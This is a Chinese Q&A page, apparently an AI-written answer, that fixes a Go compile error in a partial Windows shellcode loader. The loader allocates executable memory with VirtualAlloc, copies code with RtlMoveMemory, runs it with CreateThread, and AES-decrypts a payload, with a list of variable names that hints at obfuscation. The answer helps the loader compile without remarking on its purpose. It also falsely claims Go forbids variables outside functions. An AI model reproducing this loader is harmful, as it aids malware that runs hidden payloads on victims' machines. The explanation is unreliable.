Go 代码编译报错: syntax error: non-declaration statement outside function body
这段 Go 代码编译报错 "syntax error: non-declaration statement outside function body",是因为在函数体外部定义了变量 varNames,而 Go 语言不允许在函数体外部定义变量。
为了修复该错误,需要将 varNames 的定义移动到 main 函数内部:
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"io/ioutil"
"reflect"
"strconv"
"syscall"
"time"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
CreateThread = kernel32.NewProc("CreateThread")
)
func AesCipher(key []byte, src []byte) []byte {
block, _ := aes.NewCipher(key)
iv := make([]byte, aes.BlockSize)
stream := cipher.NewCTR(block, iv)
dst := make([]byte, len(src))
stream.XORKeyStream(dst, src)
return dst
}
// ... 其它函数定义 ...
func main() {
varNames := [][]string{
{"AesKey", "key", "src", "block", "iv", "stream", "dst"},
{"cipher", "key", "src"},
{"src", "payloadBytes", "encodedBytes", "bdata"},
{"src", "decodedBytes", "payloadBytes"},
{"charcode", "addr", "handle"},
{"filename", "data"},
{"payload", "encodedPayload", "shellCodeHex"},
}
// ... 剩余代码 ...
}
通过将 varNames 定义移动到 main 函数内部,代码就可以正常编译运行了。
其他可能的错误:
除了变量定义的位置错误以外,还有其他可能导致 "syntax error: non-declaration statement outside function body" 错误的原因,例如:
- 在函数体外部执行了函数调用或表达式。
- 在函数体外部使用了未声明的变量。
如果出现编译错误,仔细检查代码,确认所有变量定义和语句都位于正确的函数体内。
原文地址: https://www.cveoy.top/t/topic/lKJX 著作权归作者所有。请勿转载和采集!